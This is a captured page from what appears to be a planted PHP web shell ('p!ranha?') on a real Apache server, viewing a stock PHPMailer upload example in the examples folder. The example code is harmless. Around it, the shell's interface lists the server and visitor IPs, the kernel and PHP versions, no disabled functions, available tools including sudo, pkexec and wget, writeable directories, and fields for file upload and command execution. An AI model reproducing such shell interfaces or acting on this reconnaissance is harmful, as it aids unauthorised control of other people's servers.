p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.108
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/PHPMailer/examples/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/PHPMailer/examples/send_file_upload.phps
<?php
/**
 * PHPMailer simple file upload and send example
 */
$msg = '';
if (array_key_exists('userfile', $_FILES)) {
    // First handle the upload
    // Don't trust provided filename - same goes for MIME types
    // See http://php.net/manual/en/features.file-upload.php#114004 for more thorough upload validation
    $uploadfile = tempnam(sys_get_temp_dir(), sha1($_FILES['userfile']['name']));
    if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
        // Upload handled successfully
        // Now create a message
        // This should be somewhere in your include_path
        require '../PHPMailerAutoload.php';
        $mail = new PHPMailer;
        $mail->setFrom('from@example.com', 'First Last');
        $mail->addAddress('whoto@example.com', 'John Doe');
        $mail->Subject = 'PHPMailer file sender';
        $mail->Body = 'My message body';
        // Attach the uploaded file
        $mail->addAttachment($uploadfile, 'My uploaded file');
        if (!$mail->send()) {
            $msg .= "Mailer Error: " . $mail->ErrorInfo;
        } else {
            $msg .= "Message sent!";
        }
    } else {
        $msg .= 'Failed to move file to ' . $uploadfile;
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <title>PHPMailer Upload</title>
</head>
<body>
<?php if (empty($msg)) { ?>
    <form method="post" enctype="multipart/form-data">
        <input type="hidden" name="MAX_FILE_SIZE" value="100000"> Send this file: <input name="userfile" type="file">
        <input type="submit" value="Send File">
    </form>
<?php } else {
    echo $msg;
} ?>
</body>
</html>
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 21 2023 09:49:12
1000 / 1000
0755
images
--
December 21 2023 09:49:09
1000 / 1000
0755
scripts
--
December 21 2023 09:49:10
1000 / 1000
0755
styles
--
December 21 2023 09:49:12
1000 / 1000
0755
DKIM.phps
1.305 KB
January 13 2024 08:46:07
1000 / 1000
0755
code_generator.phps
26.819 KB
January 13 2024 08:46:07
1000 / 1000
0755
contactform.phps
2.403 KB
January 13 2024 08:46:07
1000 / 1000
0755
contents.html
0.63 KB
January 13 2024 08:46:07
1000 / 1000
0755
contentsutf8.html
0.887 KB
January 13 2024 08:46:07
1000 / 1000
0755
exceptions.phps
1.447 KB
January 13 2024 08:46:07
1000 / 1000
0755
gmail.phps
2.114 KB
January 13 2024 08:46:07
1000 / 1000
0755
gmail_xoauth.phps
2.614 KB
January 13 2024 08:46:07
1000 / 1000
0755
index.html
6.142 KB
January 13 2024 08:46:07
1000 / 1000
0755
mail.phps
1.038 KB
January 13 2024 08:46:07
1000 / 1000
0755
mailing_list.phps
2.243 KB
January 13 2024 08:46:07
1000 / 1000
0755
pop_before_smtp.phps
2.145 KB
January 13 2024 08:46:08
1000 / 1000
0755
send_file_upload.phps
1.644 KB
January 13 2024 08:46:08
1000 / 1000
0755
send_multiple_file_upload.phps
1.566 KB
January 13 2024 08:46:08
1000 / 1000
0755
sendmail.phps
1.108 KB
January 13 2024 08:46:08
1000 / 1000
0755
signed-mail.phps
4.104 KB
January 13 2024 08:46:08
1000 / 1000
0755
smtp.phps
1.831 KB
January 13 2024 08:46:08
1000 / 1000
0755
smtp_check.phps
1.894 KB
January 13 2024 08:46:08
1000 / 1000
0755
smtp_no_auth.phps
1.702 KB
January 13 2024 08:46:08
1000 / 1000
0755
ssl_options.phps
2.027 KB
January 13 2024 08:46:08
1000 / 1000
0755